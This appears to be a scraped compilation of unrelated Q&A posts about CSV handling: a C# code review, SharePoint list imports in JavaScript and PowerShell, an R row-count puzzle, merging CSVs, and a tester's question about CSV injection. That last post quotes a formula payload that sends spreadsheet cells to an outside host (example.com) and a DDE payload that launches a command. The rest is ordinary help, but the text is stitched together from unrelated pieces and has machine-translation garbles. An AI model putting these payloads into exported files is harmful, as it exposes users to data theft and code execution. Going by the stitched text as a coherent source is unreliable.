c # – Analysis of the CSV header for validation

Its function seems to depend at least on the input file, but this file is requested by the function. You should follow the IoC principle and transfer the file from outside (via the function parameter).

var file = ConfigurationManager.AppSettings("catalogue-lines-import-file");
var lines = ImportCatalogueLines(file);

Maybe so, but not confusing, since your method is private, it should be pushed further, somewhere outside of the entire class …

if (header(i) == "catcode")
                        catCodeColumn = i;

                    if (header(i) == "prodcode")
                        prodCodeColumn = i

It is impossible for Header (i) to correspond to two different values ​​at the same time. Use else if or switch.

If you are superparanoid, you should also check that catCodeColumn and prodCodeColumn have not been assigned more than once. That would mean that there is a double column header (one that interests you).

catCodeColumn.HasValue == false || prodCodeColumn.HasValue == false

The comparison with false is redundant. Use the negation operator "!".

!catCodeColumn.HasValue || !prodCodeColumn.HasValue

Or use de Morgans' law

!(catCodeColumn.HasValue && prodCodeColumn.HasValue)

If a column value contains a comma (without talking about the quotes that are required to make it work), your implementation cannot handle it. Of course, only if the CSV ever contains such values. Even if this is not the case, users can change it at will. Time to get paranoid!

You shouldn't log everything within the function in the console. Especially if you have caught an exception, mute it and may return a reasonably created result. Instead, throw a custom exception and possibly have it carry the half-created list. But do not return with an incomplete result. And put the logging in a separate area.

That being said, I think your approach is reasonable. If you can't hard code or configure the columns that are staggered during compile time, you need to dynamically determine them … However, if you use a suitable CSV parser with additional features like header checking, the code looks very different, probably shorter …

I want to fill an empty SharePoint online list with a CSV file using JavaScript

I want to fill an empty SharePoint online list with JavaScript.
The JavaScript retrieves data from a CSV file.
Now I want help with JavaScript code, where I can first save the data from the CSV file in an array and then update each file line by line with SPService.
The CSV file contains 7 columns.
In the Excel table above, I have inserted column headings so that the first row is also skipped.

Update of the Sharepoint 2016 list with CSV

I got stuck with an import into a SharePoint list from CSV.
The goal is to update only certain columns according to the value of another column.

IE:
If column A is X, update column B and get the value of CSV.
While the column names of Sharepoint List and CSV differ.

I found 2 similar solutions, but they don't update the list.

$delimeter = ";"
$filePath = "D:Temptest.csv"
$CSVData = Import-CSV -path $filepath -Delimiter $delimeter

$web = Get-SPWeb -identity "URL"
$list = $web.Lists("testlist")

$owner = "test"
$costcenter = "costcenter"

#$web = Get-SPWeb $web
#$lists = $web.Lists($list)

Write-Host
Write-Host
Write-Host

$items = $list.Items

foreach ($line in $CSVData)
{ 
    foreach($item in $items)
    {        
        if($item($owner) -eq $line.'UsEMail')
        {
           $item($costcenter) = $line.UsAccountNum
            $item.Update();        
        }
     }
}
# Load in the CSV
$delimeter = ";"
$filePath = "D:Temptest.csv"
$csvData = Import-Csv $filePath -Delimiter $delimeter

# SharePoint column names
$moneyColumn = "costcenter"
$customerNoColumn = "test"

# Get SharePoint list
$web = Get-SPWeb "URL"
$list = $web.Lists("testlist")

# Loop through each line in the CSV file
foreach ($line in $csvData)
{
    # Get item matching $customerNo
    $customerItem = $list.Items | Where $_.$customerNoColumn -eq $line.UsEMail
    #$customerItem = $list.Items | Where $_.$customerNoColumn -eq $line.$UsEMail
    #$customerItem = $list.Items | Where $customerNoColumn -eq $line.UsEMail

    if ($customerItem -ne $null)
    {
        if ($customerItem($moneyColumn) -ne $line.UsAccountNum)
        {
            $customerItem($moneyColumn) = $line.UsAccountNum
            $customerItem.Update();
        }
    }
}

Do you have any idea.

greetings

fisherman

Reading of text file and CSV file in R.

So I have a text file that is separated by tabs and that I want to read into the R data frame 1002127 Series.

In R I run the line:

df <- read.delim("my_text.txt")

And the strange thing was that it was only registered overall 497062 Total rows on the Environment tab on the right.

However, when I port over the text file to surpass it and save it as a CSV file, and:

df <- read.csv("my_text.csv")

It registered 1002127 Lines that is correct. I would like to know why read.delim was neglected in the line number.

windows – Does the CSV injection "= cmd" still exist in 2020?

I am currently testing a web application on which a user can generate a CSV.

I managed to CSV injection data with a payload such as =WEBSERVICE(CONCAT("http://example.com/", CONCAT(A1:A50)

I'm now trying to create a "more dangerous" payload, and I see many references online that use the following:

=cmd|' /C calc'!A0

However, I can't find a way to have such a payload trigger. I always get one #REF! Error. Is such an attack still possible in 2020? Or has Microsoft implemented a mitigation for these attacks?

Excel Version: Excel for Office 365 version 1902

r – merge 3 .csv into a file with different number of columns

I have 3 .csv files and I want to merge them into one .csv file that can be in R or Matlab.

The files are:

1597 observations of 167 variables;
160 observations of 167 variables;
533 observations of 146 variables

I tried to chain them vertically in MatLab by adding additional NaN columns. However, I cannot get the columns to line up in the correct positions. I tried the merge function in R, but keep getting the number of columns problem, without luck.

I would appreciate any help!